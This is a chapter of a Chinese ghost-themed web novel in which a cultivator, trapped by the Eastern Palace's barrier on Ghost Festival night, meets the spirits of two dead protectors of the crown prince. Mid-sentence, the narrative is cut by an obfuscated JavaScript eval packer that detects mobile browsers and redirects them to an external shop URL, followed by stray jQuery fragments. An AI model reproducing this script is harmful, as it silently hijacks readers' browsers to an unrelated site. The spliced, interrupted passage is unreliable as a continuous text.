谢逐尘皱起眉头。
结界?
他再次试着往前走,脚步才迈出半寸,便感觉到那道无形的墙可依旧横在他面前。
哪怕宫门近在咫尺,他也没法再迈出一步。
不对劲。
“师兄?”
方呈见他这副古怪模样,小心翼翼地走回来站在他身边,也跟着伸出手往前摸:“你在摸什么啊?”
谢逐尘眼睁睁看着他自如地走回来,手毫无阻碍地穿过了眼前的结界,丝毫没有受到影响。
他暗自蹙眉,既然这是结界,为何他们都能过去,只有自己过不去?
正在这时,最后一缕日光开始从檐角收拢。
整座东宫正在一寸一寸地被昏色吞没,连檐角的轮廓都开始变得模糊不清。
宦官的催促声急了几分:“大人,太阳就要落山了,宫门必须在日落前落锁,这……”
他们的的脸色都不太好看。
即便他们的感知并不敏锐,却也能闻到风里飘来的若隐若无的腥气,像是有什么东西正在夜色中缓慢地苏醒。
“师兄!”
方呈催促道:“你赶紧过来啊!”
谢逐尘果断道:“你们先走。”
宦官一愣,脸色登时变了:“大人不可啊!十五这晚东宫万万不可留人,否则会出事的……”
“无妨。”
谢逐尘抬眼看向他们,语气坚定:“你们走吧,不必管我。”
“这……”
方呈拧眉看着他。
他们虽然只是名义上的师兄弟,但好歹宫里宫外相处了这么久,何况这便宜师兄毕竟救过他的性命,怎么说也有那么一点点感情。
色字头上可真是一把刀啊。
他心想,他这一向惜命的师兄为了太子连命都不要了。
他咳了一声,压低声音尝试再劝一次:“我说师兄啊,我之前说什么你都忘了?就算你想钓太子,也不必急于这一时吧……他真有病,发起病来可骇人了……”
谢逐尘道:“没关系,你们走吧。”
此刻,最后一抹阳光也沉入群山。
方呈缩了缩脖子,只感觉自从日落之后,此处便阴气森森,无端让人觉得不适。
他缩了缩脖子,不再劝:“那师兄,你自己多保重啊……有缘江湖再见!”
随后他转身快步走出宫门,宦官连忙指挥侍卫关门落锁,沉重的门扇缓缓合拢,发出一声沉闷的声响。
锁舌落下,整座东宫,彻底被锁住了。
谢逐尘站在原地,轻轻叹了口气。
他无处可去,只得先回延真观。
宫道上,只剩他自己的脚步声。
他边走边暗自思索。卷宗上记载过,东宫外的阵法是国师所设,目的是让太子续住那一点堪堪吊着的命数。
若是这般说,这阵法应该是某种庇护阵法才对,为何会将自己困在阵中?
走了不多时,延真观的观门出现在了不远处。
此刻观中道童皆已离去,道观空空如也。青砖地上在月光下一片灰白。
谢逐尘推门而入,甫一踏入门槛,便隐约听到一阵咯吱咯吱的声音。
他蹙了蹙眉,再仔细一听,发现那声音似乎是从自己的道观最后方传来的。
而那里,正是他的房间。
谢逐尘慢步走上前,随着脚步靠近,里面传来的“吱呀”声也越发清晰。
他步上台阶,将手抵在门板上。
这会他便听清楚了。
那声音仿佛是年代久远的木头,因为承重过重而不断发出呻吟。像有什么沉重的东西正悬挂其上,不断摇晃着。
谢逐尘一把推开门。
门扉朝内荡开的瞬间,一股腐朽的味道迎面扑来。大量的香灰扑面而来,在昏暗中扬起一片灰白的尘幕。
谢逐尘微微侧头避开,等到那层灰幕落尽,视野方才变得清晰起来。
然后他看见,离自己鼻尖不过三寸的地方,悬着一双脚。
那双脚上穿着肮脏的云袜,脚上蹬着一双旧的双梁道鞋。
谢逐尘缓缓抬起眼,目光顺着那双悬着的脚朝上移动,掠过破旧褪色的青蓝色得罗袍,以及被勒得微微变形的领口。
他原本空荡荡的房间门口,此刻正吊着一个人。
这人花白蓬乱的长发垂落下来,遮住大半张脸。
他脖颈上缠着一圈粗粝的麻绳,头颅软绵绵地朝一边垂着,断裂的颈骨抵着皮肤,形成一个令人毛骨悚然的凸起。
此刻,他的整个身体正悬在半空中,一下一下,缓慢地摇晃着。
听到了开门的声音,这人原本向上翻着的眼珠,一点点往下滑。
随着他的动作,木头“咯吱、咯吱”的声响也越来越大,越来越密。
直到那双浑浊的眼球,终于和谢逐尘对上了。
谢逐尘轻轻眯起眼:“你——”
刚刚吐出一个字,那人忽然在半空中手舞足蹈起来,断掉的喉咙里发出一连串毛骨悚然的嘶吼。
谢逐尘抬手就要结印。
然而下一刻,那人猛地从绳子上挣脱下来,一边尖叫着,一边用手拍打着自己的头顶,绕着屋子蹦跳。
“啊啊啊啊啊鬼啊啊啊——救命啊啊啊啊有鬼——”
谢逐尘手上动作一顿。
他微微蹙眉,看着这地缚灵满屋子乱跑,撞到物件便化为虚烟,接着又聚合着再次化为人形,继续又嚎又跳。
虽然不知道他为何会突然出现在自己房间,但按照惯例,还是要问一问缘由。
谢逐尘开口:“这位……”
“啊啊啊啊啊啊啊有鬼有鬼有鬼——”
“你是……”
“啊啊啊啊啊啊啊啊啊鬼啊啊啊救命救命啊啊啊啊——”
“……”
谢逐尘正想施个定身咒让他闭嘴,角落里忽然传出一个声音:“喊什么?你自己不就是鬼吗?”
谢逐尘顺着声音的方向望过去,只见窗边阴影里不知何时多出一个年轻人。
他身着一袭海青道袍,衣料干净齐整,眉眼清秀非常,头发工工整整挽成髻,用一根木簪别住,正拢着手端正地站在那里。
只是他的脚虚虚地浮在地面上,离地约有半寸,竟然也是一道亡魂。
谢逐尘见他虽然也是亡魂,可目光清明,显然没有被怨气侵蚀过。
他于是放下手,问道:“你是?”
那道士抬眼,目光落在谢逐尘身上的一瞬间,轻轻“咦”了一声。
他快步上前,将谢逐尘仔仔细细打量了一遍,面色微微一变,随即退后半步,做了个拱手礼:“仙长。”
谢逐尘问:“你叫我什么?”
年轻道士放下手,面上正色起来:“仙长身上的气若虚若冥,与周遭浑然一体。不同我等肉体凡胎阴阳混杂,想来是即将飞升得道的仙家。”
谢逐尘有些意外地看了他一眼。这个凡人竟能看出他身上的灵息,看来有些道行。
“你是谁?”
年轻道士道:“在下枕虚山许梅生,曾任太子的第六任护法。”
此话一出,谢逐尘登时想起来那些护法手札上的落款:“原来你就是许梅生。”
许梅生奇道:“仙长知道在下?”
谢逐尘指向
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17928439|212934||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
桌案上的卷宗:“这些都是你整理的吧?”
许梅生顺着他的目光望去,先是一怔,随即点头。
“正是。先前为了调查太子殿下的病症,曾把各任护法留下的手记都重新梳理了一遍。”
“太子”两个字一出,那个满屋又嚎又跳的人影猛地一僵,紧接着发出短促的一声尖叫,身形倏忽间化作一缕灰烟,径直穿门而去。
谢逐尘看了一眼空荡荡的门框,又问:“这位道长又因何如此?”
许梅生早已见怪不怪:“他道号一阳,先前是玄岑宗首徒,也是我的上一任。我见到他的时候,他就已经是这副模样了。至于为何,我也不清楚。”
谢逐尘顺着这话想了想。
卷宗里有过记载,太子的第五任护法,道号一阳。
他入宫前在民间颇有名声,可入宫不过三个月,便无缘无故地疯了,并且某日忽然自缢在房门口。在这之后不久,许梅生方才入宫。
谢逐尘想起方才进门时看到的那一幕,心道地缚灵的确会反复复刻自己死前那一瞬的场景。
他眼中光芒微微一闪:“你方才说,见到他的时候他就已经是这副模样了——你是指生前,还是故后?”
许梅生微微一怔,随即明白了他的意思:“看来仙长已经发现东宫的端倪了。你猜的不错,我是死后才见到一阳道长。”
谢逐尘暗自思忖。
无论是一阳道人,还是许梅生,在死后都没有去投胎转世,反而化作东宫的地缚灵。
他心里的那个猜测逐渐清晰起来:东宫的阵法,会将所有死在这里的亡魂困住。
而他自己,由于也是游魂,所以同样被困在了这里。
可这又是为什么?这明明是庇护太子的法阵,怎么会将死去的人困住?
许梅生苦笑道:“不瞒仙长,在下至今都不知道自己因何而死,只是某日睁眼,便成了这副模样。死后在下本想着去地府转世,却发现无论如何也出不了东宫。”
“从那以后,我们便只能日复一日地徘徊在这东宫里,等到中元这天,凭借着鬼门开阴气大盛,方能显形。”
谢逐尘轻声重复:“我们?你是指你和一阳道长?除了你们,这宫里可还有其他护法?”
一共七任护法,算上邱王孙,已知的有三任死在东宫里——而且都是非因阳寿终了而死,这实在太奇怪了。
许梅生侧头看向窗外灰蒙蒙的天空:“不只是我们,是所有人。”
所有人?
不等谢逐尘问这个“所有人”指的什么,他忽地轻声道:“要开始了。”
谢逐尘一头雾水:“什么要开始了?”
许梅生转过头,目光落在他面上:“中元之日,地官降临,赦免亡魂罪业,解除苦刑,让沉沦的幽魂得以超脱。”
“而迟迟得不到解脱者,会在这一日不断徘徊在身死之处。他们因为没法转世,这么多年过去怨念已深,见到生者,便会不顾一切想要夺取其躯壳。”
谢逐尘登时明白了他的意思:“这就是东宫每年七月十五,都要将宫人遣走的原因?”
许梅生道:“不错。今晚宫里不能留生人,否则生者必会遭难。”
谢逐尘在一旁椅子上坐下,心中疑窦丛生,却没有一个能得到答案。
不过好在已经提前将宫人送出宫了,否则——
等等!
他豁然站起身。
许梅生见他刚刚坐下便又站了起来,奇道:“仙长,怎么了?”
谢逐尘面色凝重。
因为他忽然想到,此时东宫里,还有一个生人——
“太子还在寝殿里。”